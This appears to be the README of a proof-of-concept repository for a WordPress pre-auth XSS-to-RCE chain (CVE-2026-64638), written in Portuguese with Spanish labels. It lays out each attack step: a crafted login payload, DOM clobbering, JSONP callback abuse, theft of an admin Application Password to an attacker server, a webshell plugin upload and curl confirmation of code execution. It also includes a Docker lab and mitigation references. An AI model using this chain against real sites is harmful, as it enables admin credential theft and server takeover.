
PoC funcional do CVE-2026-64638 (XSS2Shell): cadeia pré-auth de XSS a RCE no WordPress Core. Laboratório Docker + servidor atacante Python + análise técnica e mitigação.
Prova de Conceito educativa da cadeia XSS2Shell (CVE-2026-64638), vulnerabilidade pré-autenticação XSS → RCE no WordPress Core descoberta de forma autônoma por pwn.ai e divulgada em 7 de agosto de 2026.
CVE-2026-64638 é uma vulnerabilidade do tipo cross-site scripting (XSS)
refletido, pré-autenticação, na tela de login do WordPress
(wp-login.php). Afeta todas as versões do WordPress em manutenção
anteriores à 7.0.3, publicada em 6 de agosto de 2026 como
security release de emergência. Foi atribuída a ela uma pontuação
CVSS v4.0 de 8.9.
A cadeia denominada XSS2Shell demonstra como, partindo apenas de uma tentativa de login mal-sucedida com um username manipulado, um atacante pode:
strip_tags) e do
WordPress (wp_kses_post).user-profile.js) para realizar uma requisição REST JSONP para a própria
origem.jQuery.globalEval().O resultado é execução remota de código (RCE) no servidor WordPress,
sob o usuário do processo web (tipicamente www-data), partindo de um
único clique do administrador em um link controlado pelo atacante.
Este repositório contém material estritamente educativo e defensivo.
A PoC é fornecida com um ambiente Docker autocontido cuja única finalidade é servir como alvo local e reproduzível.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
A PoC foi construída para ser executada em macOS ou Linux com:
zip (para construir o payload manualmente,
opcional; o ZIP já construído está incluído em payload/).Não é necessário instalar o WordPress manualmente: o docker-compose.yml
sobe um WordPress 7.0.2 vulnerável (a última versão anterior ao patch)
juntamente com MariaDB.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
O WordPress ficará acessível em http://localhost:8080. Siga o assistente de
instalação e crie um usuário administrador (por exemplo, admin /
admin-password).
O Dockerfile ancora a imagem em
wordpress:7.0.2-php8.2-apache, que é a última versão anterior ao patch 7.0.3.
# En otro terminal, dentro de attacker/
python3 server.py
O servidor do atacante escuta em http://localhost:9000 e expõe:
/ → index.html (a página isca)./callback.php → receptor da Application Password.No terminal onde server.py está sendo executado, aparecerá uma linha do tipo:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
A credencial também é salva em attacker/captured_credentials.txt.
Após alguns segundos, o orquestrador de index.html terá:
payload.zip para wp-content/plugins/payload/.Verifique a execução de código com:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
Um cabeçalho Hacked: true e um corpo JSON confirmam o RCE.
Uma vez concluída a cadeia, os seguintes endpoints servem de evidência:
| Recurso | Evidência esperada |
|---|---|
GET /wp-content/plugins/payload/shell.php | Cabeçalho Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt | Application Password capturada |
wp-admin → Aplicativos → Senhas de aplicativo | Uma nova entrada chamada «SomeApp» |
docs/ANALISIS.md — Análise técnica detalhada de cada
fase da cadeia, com referências ao código-fonte do WordPress.docs/MITIGACION.md — Mitigações recomendadas,
hardening e verificação do patch 7.0.3.Distribuído sob licença MIT. Consulte o arquivo LICENSE para mais detalhes.